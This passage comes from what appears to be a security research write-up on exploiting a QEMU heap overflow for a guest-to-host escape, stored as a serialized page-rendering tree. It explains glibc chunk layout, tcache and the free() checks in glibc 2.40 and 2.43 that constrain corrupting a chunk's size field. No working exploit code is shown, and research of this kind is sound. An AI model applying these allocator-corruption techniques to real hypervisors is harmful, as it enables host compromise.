some kind of size or offset field. The goal is to make that field as small as possible initially, trigger the overflow, and rely on the corrupted bytes being larger than the original value. Such scenario would transform a weak primitive into a much more useful one, giving us a better starting point for the rest of the exploit.",{"type":24,"tag":25,"props":127600,"children":127601},{},[127602],{"type":29,"value":127603},"However, after searching QEMU for such objects we didn't find a suitable target. The main problem was that, in most cases, the field we wanted to corrupt was preceded by one or more pointers. That would have been acceptable if those pointers were unused, but in every candidate object we examined they were still live. As a result, the heap overflow would corrupt them with effectively random bytes, causing an invalid dereference and crashing QEMU before we could achieve our desired guest-to-host escape.",{"type":24,"tag":25,"props":127605,"children":127606},{},[127607],{"type":29,"value":127608},"At that point, we turned our attention to the glibc allocator. This is usually not the first choice in such targets - allocator techniques are often more version-specific and less portable than program-specific primitives (for example, type confusion on known object layouts). So allocator attacks are often a fallback once object-level paths are exhausted.",{"type":24,"tag":20134,"props":127610,"children":127612},{"id":127611},"glibc-allocator",[127613],{"type":29,"value":127614},"Glibc Allocator",{"type":24,"tag":25,"props":127616,"children":127617},{},[127618,127620,127627],{"type":29,"value":127619},"The glibc allocator has already been studied and documented extensively, so we will only cover the basics relevant to this exploit. A good resource for both current and older attack techniques is ",{"type":24,"tag":101,"props":127621,"children":127624},{"href":127622,"rel":127623},"https://github.com/shellphish/how2heap",[105],[127625],{"type":29,"value":127626},"how2heap",{"type":29,"value":347},{"type":24,"tag":38610,"props":127629,"children":127631},{"id":127630},"chunk-layout-and-bins",[127632],{"type":29,"value":127633},"Chunk Layout and Bins",{"type":24,"tag":25,"props":127635,"children":127636},{},[127637],{"type":29,"value":127638},"A chunk looks like this:",{"type":24,"tag":147,"props":127640,"children":127642},{"code":127641}," +0x0 +0x8\n +-------------+-------------+\n | prev_size | size |\n +---------------------------+\n+0x10 | 41 41 41 41 41 41 41 41 |\n | |\n | 41 41 41 41 41 41 41 41 |\n | |\n | . . . |\n",[127643],{"type":24,"tag":154,"props":127644,"children":127645},{"__ignoreMap":7},[127646],{"type":29,"value":127641},{"type":24,"tag":25,"props":127648,"children":127649},{},[127650,127652,127658,127660,127666,127667,127672,127673,127679,127681,127686,127688,127693,127695,127701,127702,127708,127710,127716],{"type":29,"value":127651},"The first 16 bytes form the chunk header. It consists of the ",{"type":24,"tag":154,"props":127653,"children":127655},{"className":127654},[],[127656],{"type":29,"value":127657},"prev_size",{"type":29,"value":127659}," field at offset ",{"type":24,"tag":154,"props":127661,"children":127663},{"className":127662},[],[127664],{"type":29,"value":127665},"0x0",{"type":29,"value":38814},{"type":24,"tag":154,"props":127668,"children":127670},{"className":127669},[],[127671],{"type":29,"value":125538},{"type":29,"value":127659},{"type":24,"tag":154,"props":127674,"children":127676},{"className":127675},[],[127677],{"type":29,"value":127678},"0x8",{"type":29,"value":127680},". As the name suggests, ",{"type":24,"tag":154,"props":127682,"children":127684},{"className":127683},[],[127685],{"type":29,"value":127657},{"type":29,"value":127687}," stores the size of the previous chunk and is only used when that chunk is free, while ",{"type":24,"tag":154,"props":127689,"children":127691},{"className":127690},[],[127692],{"type":29,"value":125538},{"type":29,"value":127694}," stores the size of the current chunk and three special bits of which ",{"type":24,"tag":154,"props":127696,"children":127698},{"className":127697},[],[127699],{"type":29,"value":127700},"PREV_INUSE",{"type":29,"value":1826},{"type":24,"tag":154,"props":127703,"children":127705},{"className":127704},[],[127706],{"type":29,"value":127707},"IS_MMAPPED",{"type":29,"value":127709}," are relevant for this blog post. The actual chunk data begins at offset ",{"type":24,"tag":154,"props":127711,"children":127713},{"className":127712},[],[127714],{"type":29,"value":127715},"0x10",{"type":29,"value":347},{"type":24,"tag":25,"props":127718,"children":127719},{},[127720],{"type":29,"value":127721},"Freed chunks are organized into different bins depending on their size and state. For this writeup, the important one is the per-thread cache, or tcache. Tcache stores recently freed chunks in size-segregated singly linked lists and is generally the first place glibc looks when servicing small allocations.",{"type":24,"tag":38610,"props":127723,"children":127725},{"id":127724},"free-path",[127726],{"type":29,"value":127727},"free() path",{"type":24,"tag":25,"props":127729,"children":127730},{},[127731,127733,127739],{"type":29,"value":127732},"Let’s first look at the ",{"type":24,"tag":154,"props":127734,"children":127736},{"className":127735},[],[127737],{"type":29,"value":127738},"free()",{"type":29,"value":127740}," path in glibc 2.40:",{"type":24,"tag":147,"props":127742,"children":127744},{"code":127743,"language":2907,"meta":7,"className":17751,"style":7},"__libc_free (void *mem)\n{\n mstate ar_ptr;\n mchunkptr p;\n\n p = mem2chunk (mem);\n if (chunk_is_mmapped (p))\n {\n munmap_chunk (p);\n }\n else\n {\n MAYBE_INIT_TCACHE ();\n\n ar_ptr = arena_for_chunk (p);\n _int_free (ar_ptr, p, 0);\n }\n}\n",[127745],{"type":24,"tag":154,"props":127746,"children":127747},{"__ignoreMap":7},[127748,127776,127783,127791,127799,127806,127828,127849,127856,127869,127876,127884,127891,127904,127911,127932,127953,127960],{"type":24,"tag":158,"props":127749,"children":127750},{"class":160,"line":161},[127751,127756,127760,127764,127768,127772],{"type":24,"tag":158,"props":127752,"children":127753},{"style":496},[127754],{"type":29,"value":127755},"__libc_free",{"type":24,"tag":158,"props":127757,"children":127758},{"style":188},[127759],{"type":29,"value":2262},{"type":24,"tag":158,"props":127761,"children":127762},{"style":165},[127763],{"type":29,"value":52899},{"type":24,"tag":158,"props":127765,"children":127766},{"style":222},[127767],{"type":29,"value":615},{"type":24,"tag":158,"props":127769,"children":127770},{"style":177},[127771],{"type":29,"value":41929},{"type":24,"tag":158,"props":127773,"children":127774},{"style":188},[127775],{"type":29,"value":2125},{"type":24,"tag":158,"props":127777,"children":127778},{"class":160,"line":213},[127779],{"type":24,"tag":158,"props":127780,"children":127781},{"style":188},[127782],{"type":29,"value":1710},{"type":24,"tag":158,"props":127784,"children":127785},{"class":160,"line":238},[127786],{"type":24,"tag":158,"props":127787,"children":127788},{"style":188},[127789],{"type":29,"value":127790}," mstate ar_ptr;\n",{"type":24,"tag":158,"props":127792,"children":127793},{"class":160,"line":259},[127794],{"type":24,"tag":158,"props":127795,"children":127796},{"style":188},[127797],{"type":29,"value":127798}," mchunkptr p;\n",{"type":24,"tag":158,"props":127800,"children":127801},{"class":160,"line":280},[127802],{"type":24,"tag":158,"props":127803,"children":127804},{"emptyLinePlaceholder":16},[127805],{"type":29,"value":481},{"type":24,"tag":158,"props":127807,"children":127808},{"class":160,"line":301},[127809,127814,127818,127823],{"type":24,"tag":158,"props":127810,"children":127811},{"style":188},[127812],{"type":29,"value":127813}," p ",{"type":24,"tag":158,"props":127815,"children":127816},{"style":222},[127817],{"type":29,"value":1285},{"type":24,"tag":158,"props":127819,"children":127820},{"style":496},[127821],{"type":29,"value":127822}," mem2chunk",{"type":24,"tag":158,"props":127824,"children":127825},{"style":188},[127826],{"type":29,"value":127827}," (mem);\n",{"type":24,"tag":158,"props":127829,"children":127830},{"class":160,"line":626},[127831,127835,127839,127844],{"type":24,"tag":158,"props":127832,"children":127833},{"style":1914},[127834],{"type":29,"value":32655},{"type":24,"tag":158,"props":127836,"children":127837},{"style":188},[127838],{"type":29,"value":2262},{"type":24,"tag":158,"props":127840,"children":127841},{"style":496},[127842],{"type":29,"value":127843},"chunk_is_mmapped",{"type":24,"tag":158,"props":127845,"children":127846},{"style":188},[127847],{"type":29,"value":127848}," (p))\n",{"type":24,"tag":158,"props":127850,"children":127851},{"class":160,"line":668},[127852],{"type":24,"tag":158,"props":127853,"children":127854},{"style":188},[127855],{"type":29,"value":30446},{"type":24,"tag":158,"props":127857,"children":127858},{"class":160,"line":676},[127859,127864],{"type":24,"tag":158,"props":127860,"children":127861},{"style":496},[127862],{"type":29,"value":127863}," munmap_chunk",{"type":24,"tag":158,"props":127865,"children":127866},{"style":188},[127867],{"type":29,"value":127868}," (p);\n",{"type":24,"tag":158,"props":127870,"children":127871},{"class":160,"line":684},[127872],{"type":24,"tag":158,"props":127873,"children":127874},{"style":188},[127875],{"type":29,"value":3967},{"type":24,"tag":158,"props":127877,"children":127878},{"class":160,"line":700},[127879],{"type":24,"tag":158,"props":127880,"children":127881},{"style":1914},[127882],{"type":29,"value":127883}," else\n",{"type":24,"tag":158,"props":127885,"children":127886},{"class":160,"line":785},[127887],{"type":24,"tag":158,"props":127888,"children":127889},{"style":188},[127890],{"type":29,"value":30446},{"type":24,"tag":158,"props":127892,"children":127893},{"class":160,"line":1447},[127894,127899],{"type":24,"tag":158,"props":127895,"children":127896},{"style":496},[127897],{"type":29,"value":127898}," MAYBE_INIT_TCACHE",{"type":24,"tag":158,"props":127900,"children":127901},{"style":188},[127902],{"type":29,"value":127903}," ();\n",{"type":24,"tag":158,"props":127905,"children":127906},{"class":160,"line":1509},[127907],{"type":24,"tag":158,"props":127908,"children":127909},{"emptyLinePlaceholder":16},[127910],{"type":29,"value":481},{"type":24,"tag":158,"props":127912,"children":127913},{"class":160,"line":1527},[127914,127919,127923,127928],{"type":24,"tag":158,"props":127915,"children":127916},{"style":188},[127917],{"type":29,"value":127918}," ar_ptr ",{"type":24,"tag":158,"props":127920,"children":127921},{"style":222},[127922],{"type":29,"value":1285},{"type":24,"tag":158,"props":127924,"children":127925},{"style":496},[127926],{"type":29,"value":127927}," arena_for_chunk",{"type":24,"tag":158,"props":127929,"children":127930},{"style":188},[127931],{"type":29,"value":127868},{"type":24,"tag":158,"props":127933,"children":127934},{"class":160,"line":1545},[127935,127940,127945,127949],{"type":24,"tag":158,"props":127936,"children":127937},{"style":496},[127938],{"type":29,"value":127939}," _int_free",{"type":24,"tag":158,"props":127941,"children":127942},{"style":188},[127943],{"type":29,"value":127944}," (ar_ptr, p, ",{"type":24,"tag":158,"props":127946,"children":127947},{"style":465},[127948],{"type":29,"value":5682},{"type":24,"tag":158,"props":127950,"children":127951},{"style":188},[127952],{"type":29,"value":1071},{"type":24,"tag":158,"props":127954,"children":127955},{"class":160,"line":1618},[127956],{"type":24,"tag":158,"props":127957,"children":127958},{"style":188},[127959],{"type":29,"value":3967},{"type":24,"tag":158,"props":127961,"children":127962},{"class":160,"line":1635},[127963],{"type":24,"tag":158,"props":127964,"children":127965},{"style":188},[127966],{"type":29,"value":307},{"type":24,"tag":25,"props":127968,"children":127969},{},[127970,127972,127977,127979,127984,127986,127992,127994,128000,128002,128007,128009,128014,128016,128021,128023,128028],{"type":29,"value":127971},"We can see that if the ",{"type":24,"tag":154,"props":127973,"children":127975},{"className":127974},[],[127976],{"type":29,"value":127707},{"type":29,"value":127978}," bit is set in the corrupted ",{"type":24,"tag":154,"props":127980,"children":127982},{"className":127981},[],[127983],{"type":29,"value":125538},{"type":29,"value":127985}," field, glibc will call ",{"type":24,"tag":154,"props":127987,"children":127989},{"className":127988},[],[127990],{"type":29,"value":127991},"munmap_chunk",{"type":29,"value":127993},", which internally checks that ",{"type":24,"tag":154,"props":127995,"children":127997},{"className":127996},[],[127998],{"type":29,"value":127999},"prev_size + size",{"type":29,"value":128001}," is page-aligned. To reach the ",{"type":24,"tag":154,"props":128003,"children":128005},{"className":128004},[],[128006],{"type":29,"value":125538},{"type":29,"value":128008}," field, we first have to overwrite the entire 8-byte ",{"type":24,"tag":154,"props":128010,"children":128012},{"className":128011},[],[128013],{"type":29,"value":127657},{"type":29,"value":128015}," field with uncontrolled data. The chance that a corrupted ",{"type":24,"tag":154,"props":128017,"children":128019},{"className":128018},[],[128020],{"type":29,"value":127999},{"type":29,"value":128022}," value still ends up page-aligned is extremely small. In practice, if ",{"type":24,"tag":154,"props":128024,"children":128026},{"className":128025},[],[128027],{"type":29,"value":127707},{"type":29,"value":128029}," is set, the process will almost certainly abort before we can make use of the corruption.",{"type":24,"tag":25,"props":128031,"children":128032},{},[128033,128035,128040,128042,128048],{"type":29,"value":128034},"Assuming ",{"type":24,"tag":154,"props":128036,"children":128038},{"className":128037},[],[128039],{"type":29,"value":127707},{"type":29,"value":128041}," is not set, execution continues into ",{"type":24,"tag":154,"props":128043,"children":128045},{"className":128044},[],[128046],{"type":29,"value":128047},"_int_free",{"type":29,"value":225},{"type":24,"tag":147,"props":128050,"children":128052},{"code":128051,"language":2907,"meta":7,"className":17751,"style":7},"static void\n_int_free (mstate av, mchunkptr p, int have_lock)\n{\n INTERNAL_SIZE_T size;\n\n size = chunksize (p);\n\n /* Little security check which won't hurt performance: the\n allocator never wraps around at the end of the address space.\n Therefore we can exclude some size values which might appear\n here by accident or by \"design\" from some intruder. */\n if (__builtin_expect ((uintptr_t) p > (uintptr_t) -size, 0)\n || __builtin_expect (misaligned_chunk (p), 0))\n malloc_printerr (\"free(): invalid pointer\");\n /* We know that each chunk is at least MINSIZE bytes in size or a\n multiple of MALLOC_ALIGNMENT. */\n if (__glibc_unlikely (size \u003C MINSIZE || !aligned_OK (size)))\n malloc_printerr (\"free(): invalid size\");\n\n check_inuse_chunk(av, p);\n\n [...]\n",[128053],{"type":24,"tag":154,"props":128054,"children":128055},{"__ignoreMap":7},[128056,128068,128111,128118,128126,128133,128154,128161,128169,128177,128185,128193,128257,128292,128313,128321,128329,128377,128397,128404,128417,128424],{"type":24,"tag":158,"props":128057,"children":128058},{"class":160,"line":161},[128059,128063],{"type":24,"tag":158,"props":128060,"children":128061},{"style":165},[128062],{"type":29,"value":52316},{"type":24,"tag":158,"props":128064,"children":128065},{"style":165},[128066],{"type":29,"value":128067}," void\n",{"type":24,"tag":158,"props":128069,"children":128070},{"class":160,"line":213},[128071,128075,128080,128085,128090,128094,128098,128102,128107],{"type":24,"tag":158,"props":128072,"children":128073},{"style":496},[128074],{"type":29,"value":128047},{"type":24,"tag":158,"props":128076,"children":128077},{"style":188},[128078],{"type":29,"value":128079}," (mstate ",{"type":24,"tag":158,"props":128081,"children":128082},{"style":177},[128083],{"type":29,"value":128084},"av",{"type":24,"tag":158,"props":128086,"children":128087},{"style":188},[128088],{"type":29,"value":128089},", mchunkptr ",{"type":24,"tag":158,"props":128091,"children":128092},{"style":177},[128093],{"type":29,"value":25},{"type":24,"tag":158,"props":128095,"children":128096},{"style":188},[128097],{"type":29,"value":191},{"type":24,"tag":158,"props":128099,"children":128100},{"style":165},[128101],{"type":29,"value":20289},{"type":24,"tag":158,"props":128103,"children":128104},{"style":177},[128105],{"type":29,"value":128106}," have_lock",{"type":24,"tag":158,"props":128108,"children":128109},{"style":188},[128110],{"type":29,"value":2125},{"type":24,"tag":158,"props":128112,"children":128113},{"class":160,"line":238},[128114],{"type":24,"tag":158,"props":128115,"children":128116},{"style":188},[128117],{"type":29,"value":1710},{"type":24,"tag":158,"props":128119,"children":128120},{"class":160,"line":259},[128121],{"type":24,"tag":158,"props":128122,"children":128123},{"style":188},[128124],{"type":29,"value":128125}," INTERNAL_SIZE_T size;\n",{"type":24,"tag":158,"props":128127,"children":128128},{"class":160,"line":280},[128129],{"type":24,"tag":158,"props":128130,"children":128131},{"emptyLinePlaceholder":16},[128132],{"type":29,"value":481},{"type":24,"tag":158,"props":128134,"children":128135},{"class":160,"line":301},[128136,128141,128145,128150],{"type":24,"tag":158,"props":128137,"children":128138},{"style":188},[128139],{"type":29,"value":128140}," size ",{"type":24,"tag":158,"props":128142,"children":128143},{"style":222},[128144],{"type":29,"value":1285},{"type":24,"tag":158,"props":128146,"children":128147},{"style":496},[128148],{"type":29,"value":128149}," chunksize",{"type":24,"tag":158,"props":128151,"children":128152},{"style":188},[128153],{"type":29,"value":127868},{"type":24,"tag":158,"props":128155,"children":128156},{"class":160,"line":626},[128157],{"type":24,"tag":158,"props":128158,"children":128159},{"emptyLinePlaceholder":16},[128160],{"type":29,"value":481},{"type":24,"tag":158,"props":128162,"children":128163},{"class":160,"line":668},[128164],{"type":24,"tag":158,"props":128165,"children":128166},{"style":2588},[128167],{"type":29,"value":128168}," /* Little security check which won't hurt performance: the\n",{"type":24,"tag":158,"props":128170,"children":128171},{"class":160,"line":676},[128172],{"type":24,"tag":158,"props":128173,"children":128174},{"style":2588},[128175],{"type":29,"value":128176}," allocator never wraps around at the end of the address space.\n",{"type":24,"tag":158,"props":128178,"children":128179},{"class":160,"line":684},[128180],{"type":24,"tag":158,"props":128181,"children":128182},{"style":2588},[128183],{"type":29,"value":128184}," Therefore we can exclude some size values which might appear\n",{"type":24,"tag":158,"props":128186,"children":128187},{"class":160,"line":700},[128188],{"type":24,"tag":158,"props":128189,"children":128190},{"style":2588},[128191],{"type":29,"value":128192}," here by accident or by \"design\" from some intruder. */\n",{"type":24,"tag":158,"props":128194,"children":128195},{"class":160,"line":785},[128196,128200,128204,128209,128214,128219,128224,128228,128232,128236,128240,128244,128249,128253],{"type":24,"tag":158,"props":128197,"children":128198},{"style":1914},[128199],{"type":29,"value":32655},{"type":24,"tag":158,"props":128201,"children":128202},{"style":188},[128203],{"type":29,"value":2262},{"type":24,"tag":158,"props":128205,"children":128206},{"style":496},[128207],{"type":29,"value":128208},"__builtin_expect",{"type":24,"tag":158,"props":128210,"children":128211},{"style":188},[128212],{"type":29,"value":128213}," ((",{"type":24,"tag":158,"props":128215,"children":128216},{"style":165},[128217],{"type":29,"value":128218},"uintptr_t",{"type":24,"tag":158,"props":128220,"children":128221},{"style":188},[128222],{"type":29,"value":128223},") p ",{"type":24,"tag":158,"props":128225,"children":128226},{"style":222},[128227],{"type":29,"value":1280},{"type":24,"tag":158,"props":128229,"children":128230},{"style":188},[128231],{"type":29,"value":2262},{"type":24,"tag":158,"props":128233,"children":128234},{"style":165},[128235],{"type":29,"value":128218},{"type":24,"tag":158,"props":128237,"children":128238},{"style":188},[128239],{"type":29,"value":723},{"type":24,"tag":158,"props":128241,"children":128242},{"style":222},[128243],{"type":29,"value":5987},{"type":24,"tag":158,"props":128245,"children":128246},{"style":188},[128247],{"type":29,"value":128248},"size, ",{"type":24,"tag":158,"props":128250,"children":128251},{"style":465},[128252],{"type":29,"value":5682},{"type":24,"tag":158,"props":128254,"children":128255},{"style":188},[128256],{"type":29,"value":2125},{"type":24,"tag":158,"props":128258,"children":128259},{"class":160,"line":1447},[128260,128265,128270,128274,128279,128284,128288],{"type":24,"tag":158,"props":128261,"children":128262},{"style":222},[128263],{"type":29,"value":128264}," ||",{"type":24,"tag":158,"props":128266,"children":128267},{"style":496},[128268],{"type":29,"value":128269}," __builtin_expect",{"type":24,"tag":158,"props":128271,"children":128272},{"style":188},[128273],{"type":29,"value":2262},{"type":24,"tag":158,"props":128275,"children":128276},{"style":496},[128277],{"type":29,"value":128278},"misaligned_chunk",{"type":24,"tag":158,"props":128280,"children":128281},{"style":188},[128282],{"type":29,"value":128283}," (p), ",{"type":24,"tag":158,"props":128285,"children":128286},{"style":465},[128287],{"type":29,"value":5682},{"type":24,"tag":158,"props":128289,"children":128290},{"style":188},[128291],{"type":29,"value":20955},{"type":24,"tag":158,"props":128293,"children":128294},{"class":160,"line":1509},[128295,128300,128304,128309],{"type":24,"tag":158,"props":128296,"children":128297},{"style":496},[128298],{"type":29,"value":128299}," malloc_printerr",{"type":24,"tag":158,"props":128301,"children":128302},{"style":188},[128303],{"type":29,"value":2262},{"type":24,"tag":158,"props":128305,"children":128306},{"style":1108},[128307],{"type":29,"value":128308},"\"free(): invalid pointer\"",{"type":24,"tag":158,"props":128310,"children":128311},{"style":188},[128312],{"type":29,"value":1071},{"type":24,"tag":158,"props":128314,"children":128315},{"class":160,"line":1527},[128316],{"type":24,"tag":158,"props":128317,"children":128318},{"style":2588},[128319],{"type":29,"value":128320}," /* We know that each chunk is at least MINSIZE bytes in size or a\n",{"type":24,"tag":158,"props":128322,"children":128323},{"class":160,"line":1545},[128324],{"type":24,"tag":158,"props":128325,"children":128326},{"style":2588},[128327],{"type":29,"value":128328}," multiple of MALLOC_ALIGNMENT. */\n",{"type":24,"tag":158,"props":128330,"children":128331},{"class":160,"line":1618},[128332,128336,128340,128345,128350,128354,128359,128363,128367,128372],{"type":24,"tag":158,"props":128333,"children":128334},{"style":1914},[128335],{"type":29,"value":32655},{"type":24,"tag":158,"props":128337,"children":128338},{"style":188},[128339],{"type":29,"value":2262},{"type":24,"tag":158,"props":128341,"children":128342},{"style":496},[128343],{"type":29,"value":128344},"__glibc_unlikely",{"type":24,"tag":158,"props":128346,"children":128347},{"style":188},[128348],{"type":29,"value":128349}," (size ",{"type":24,"tag":158,"props":128351,"children":128352},{"style":222},[128353],{"type":29,"value":3760},{"type":24,"tag":158,"props":128355,"children":128356},{"style":188},[128357],{"type":29,"value":128358}," MINSIZE ",{"type":24,"tag":158,"props":128360,"children":128361},{"style":222},[128362],{"type":29,"value":23663},{"type":24,"tag":158,"props":128364,"children":128365},{"style":222},[128366],{"type":29,"value":3750},{"type":24,"tag":158,"props":128368,"children":128369},{"style":496},[128370],{"type":29,"value":128371},"aligned_OK",{"type":24,"tag":158,"props":128373,"children":128374},{"style":188},[128375],{"type":29,"value":128376}," (size)))\n",{"type":24,"tag":158,"props":128378,"children":128379},{"class":160,"line":1635},[128380,128384,128388,128393],{"type":24,"tag":158,"props":128381,"children":128382},{"style":496},[128383],{"type":29,"value":128299},{"type":24,"tag":158,"props":128385,"children":128386},{"style":188},[128387],{"type":29,"value":2262},{"type":24,"tag":158,"props":128389,"children":128390},{"style":1108},[128391],{"type":29,"value":128392},"\"free(): invalid size\"",{"type":24,"tag":158,"props":128394,"children":128395},{"style":188},[128396],{"type":29,"value":1071},{"type":24,"tag":158,"props":128398,"children":128399},{"class":160,"line":1644},[128400],{"type":24,"tag":158,"props":128401,"children":128402},{"emptyLinePlaceholder":16},[128403],{"type":29,"value":481},{"type":24,"tag":158,"props":128405,"children":128406},{"class":160,"line":1652},[128407,128412],{"type":24,"tag":158,"props":128408,"children":128409},{"style":496},[128410],{"type":29,"value":128411}," check_inuse_chunk",{"type":24,"tag":158,"props":128413,"children":128414},{"style":188},[128415],{"type":29,"value":128416},"(av, p);\n",{"type":24,"tag":158,"props":128418,"children":128419},{"class":160,"line":1704},[128420],{"type":24,"tag":158,"props":128421,"children":128422},{"emptyLinePlaceholder":16},[128423],{"type":29,"value":481},{"type":24,"tag":158,"props":128425,"children":128426},{"class":160,"line":1713},[128427],{"type":24,"tag":158,"props":128428,"children":128429},{"style":188},[128430],{"type":29,"value":128431}," [...]\n",{"type":24,"tag":25,"props":128433,"children":128434},{},[128435],{"type":29,"value":128436},"The first check verifies that the chunk pointer itself is not misaligned. Since we do not control the pointer, this is not particularly relevant here.",{"type":24,"tag":25,"props":128438,"children":128439},{},[128440,128442,128447,128449,128454,128456,128461,128463,128468],{"type":29,"value":128441},"The next check, however, ensures that the ",{"type":24,"tag":154,"props":128443,"children":128445},{"className":128444},[],[128446],{"type":29,"value":125538},{"type":29,"value":128448}," field is 16-byte aligned. This means that the low byte we overwrite in ",{"type":24,"tag":154,"props":128450,"children":128452},{"className":128451},[],[128453],{"type":29,"value":125538},{"type":29,"value":128455}," must preserve alignment while also avoiding the ",{"type":24,"tag":154,"props":128457,"children":128459},{"className":128458},[],[128460],{"type":29,"value":127707},{"type":29,"value":128462}," bit. Under those constraints, exploiting the bug through ",{"type":24,"tag":154,"props":128464,"children":128466},{"className":128465},[],[128467],{"type":29,"value":125538},{"type":29,"value":128469}," corruption looked very unreliable at first.",{"type":24,"tag":25,"props":128471,"children":128472},{},[128473],{"type":29,"value":128474},"Still, we wanted to check how this behaved in the latest glibc 2.43:",{"type":24,"tag":147,"props":128476,"children":128478},{"code":128477,"language":2907,"meta":7,"className":17751,"style":7},"void\n__libc_free (void *mem)\n{\n mchunkptr p;\n\n p = mem2chunk (mem);\n\n INTERNAL_SIZE_T size = chunksize (p);\n\n if (__glibc_unlikely (misaligned_chunk (p)))\n return malloc_printerr_tail (\"free(): invalid pointer\");\n\n#if USE_TCACHE\n if (__glibc_likely (size \u003C mp_.tcache_max_bytes))\n {\n [...]\n\n return tcache_put (p, tc_idx);\n }\n",[128479],{"type":24,"tag":154,"props":128480,"children":128481},{"__ignoreMap":7},[128482,128490,128517,128524,128531,128538,128557,128564,128584,128591,128619,128643,128650,128663,128705,128712,128720,128727,128744],{"type":24,"tag":158,"props":128483,"children":128484},{"class":160,"line":161},[128485],{"type":24,"tag":158,"props":128486,"children":128487},{"style":165},[128488],{"type":29,"value":128489},"void\n",{"type":24,"tag":158,"props":128491,"children":128492},{"class":160,"line":213},[128493,128497,128501,128505,128509,128513],{"type":24,"tag":158,"props":128494,"children":128495},{"style":496},[128496],{"type":29,"value":127755},{"type":24,"tag":158,"props":128498,"children":128499},{"style":188},[128500],{"type":29,"value":2262},{"type":24,"tag":158,"props":128502,"children":128503},{"style":165},[128504],{"type":29,"value":52899},{"type":24,"tag":158,"props":128506,"children":128507},{"style":222},[128508],{"type":29,"value":615},{"type":24,"tag":158,"props":128510,"children":128511},{"style":177},[128512],{"type":29,"value":41929},{"type":24,"tag":158,"props":128514,"children":128515},{"style":188},[128516],{"type":29,"value":2125},{"type":24,"tag":158,"props":128518,"children":128519},{"class":160,"line":238},[128520],{"type":24,"tag":158,"props":128521,"children":128522},{"style":188},[128523],{"type":29,"value":1710},{"type":24,"tag":158,"props":128525,"children":128526},{"class":160,"line":259},[128527],{"type":24,"tag":158,"props":128528,"children":128529},{"style":188},[128530],{"type":29,"value":127798},{"type":24,"tag":158,"props":128532,"children":128533},{"class":160,"line":280},[128534],{"type":24,"tag":158,"props":128535,"children":128536},{"emptyLinePlaceholder":16},[128537],{"type":29,"value":481},{"type":24,"tag":158,"props":128539,"children":128540},{"class":160,"line":301},[128541,128545,128549,128553],{"type":24,"tag":158,"props":128542,"children":128543},{"style":188},[128544],{"type":29,"value":127813},{"type":24,"tag":158,"props":128546,"children":128547},{"style":222},[128548],{"type":29,"value":1285},{"type":24,"tag":158,"props":128550,"children":128551},{"style":496},[128552],{"type":29,"value":127822},{"type":24,"tag":158,"props":128554,"children":128555},{"style":188},[128556],{"type":29,"value":127827},{"type":24,"tag":158,"props":128558,"children":128559},{"class":160,"line":626},[128560],{"type":24,"tag":158,"props":128561,"children":128562},{"emptyLinePlaceholder":16},[128563],{"type":29,"value":481},{"type":24,"tag":158,"props":128565,"children":128566},{"class":160,"line":668},[128567,128572,128576,128580],{"type":24,"tag":158,"props":128568,"children":128569},{"style":188},[128570],{"type":29,"value":128571}," INTERNAL_SIZE_T size ",{"type":24,"tag":158,"props":128573,"children":128574},{"style":222},[128575],{"type":29,"value":1285},{"type":24,"tag":158,"props":128577,"children":128578},{"style":496},[128579],{"type":29,"value":128149},{"type":24,"tag":158,"props":128581,"children":128582},{"style":188},[128583],{"type":29,"value":127868},{"type":24,"tag":158,"props":128585,"children":128586},{"class":160,"line":676},[128587],{"type":24,"tag":158,"props":128588,"children":128589},{"emptyLinePlaceholder":16},[128590],{"type":29,"value":481},{"type":24,"tag":158,"props":128592,"children":128593},{"class":160,"line":684},[128594,128598,128602,128606,128610,128614],{"type":24,"tag":158,"props":128595,"children":128596},{"style":1914},[128597],{"type":29,"value":32655},{"type":24,"tag":158,"props":128599,"children":128600},{"style":188},[128601],{"type":29,"value":2262},{"type":24,"tag":158,"props":128603,"children":128604},{"style":496},[128605],{"type":29,"value":128344},{"type":24,"tag":158,"props":128607,"children":128608},{"style":188},[128609],{"type":29,"value":2262},{"type":24,"tag":158,"props":128611,"children":128612},{"style":496},[128613],{"type":29,"value":128278},{"type":24,"tag":158,"props":128615,"children":128616},{"style":188},[128617],{"type":29,"value":128618}," (p)))\n",{"type":24,"tag":158,"props":128620,"children":128621},{"class":160,"line":700},[128622,128626,128631,128635,128639],{"type":24,"tag":158,"props":128623,"children":128624},{"style":1914},[128625],{"type":29,"value":18227},{"type":24,"tag":158,"props":128627,"children":128628},{"style":496},[128629],{"type":29,"value":128630}," malloc_printerr_tail",{"type":24,"tag":158,"props":128632,"children":128633},{"style":188},[128634],{"type":29,"value":2262},{"type":24,"tag":158,"props":128636,"children":128637},{"style":1108},[128638],{"type":29,"value":128308},{"type":24,"tag":158,"props":128640,"children":128641},{"style":188},[128642],{"type":29,"value":1071},{"type":24,"tag":158,"props":128644,"children":128645},{"class":160,"line":785},[128646],{"type":24,"tag":158,"props":128647,"children":128648},{"emptyLinePlaceholder":16},[128649],{"type":29,"value":481},{"type":24,"tag":158,"props":128651,"children":128652},{"class":160,"line":1447},[128653,128658],{"type":24,"tag":158,"props":128654,"children":128655},{"style":1914},[128656],{"type":29,"value":128657},"#if",{"type":24,"tag":158,"props":128659,"children":128660},{"style":496},[128661],{"type":29,"value":128662}," USE_TCACHE\n",{"type":24,"tag":158,"props":128664,"children":128665},{"class":160,"line":1509},[128666,128670,128674,128679,128683,128687,128692,128696,128701],{"type":24,"tag":158,"props":128667,"children":128668},{"style":1914},[128669],{"type":29,"value":32655},{"type":24,"tag":158,"props":128671,"children":128672},{"style":188},[128673],{"type":29,"value":2262},{"type":24,"tag":158,"props":128675,"children":128676},{"style":496},[128677],{"type":29,"value":128678},"__glibc_likely",{"type":24,"tag":158,"props":128680,"children":128681},{"style":188},[128682],{"type":29,"value":128349},{"type":24,"tag":158,"props":128684,"children":128685},{"style":222},[128686],{"type":29,"value":3760},{"type":24,"tag":158,"props":128688,"children":128689},{"style":177},[128690],{"type":29,"value":128691}," mp_",{"type":24,"tag":158,"props":128693,"children":128694},{"style":188},[128695],{"type":29,"value":347},{"type":24,"tag":158,"props":128697,"children":128698},{"style":177},[128699],{"type":29,"value":128700},"tcache_max_bytes",{"type":24,"tag":158,"props":128702,"children":128703},{"style":188},[128704],{"type":29,"value":20955},{"type":24,"tag":158,"props":128706,"children":128707},{"class":160,"line":1527},[128708],{"type":24,"tag":158,"props":128709,"children":128710},{"style":188},[128711],{"type":29,"value":30446},{"type":24,"tag":158,"props":128713,"children":128714},{"class":160,"line":1545},[128715],{"type":24,"tag":158,"props":128716,"children":128717},{"style":188},[128718],{"type":29,"value":128719}," 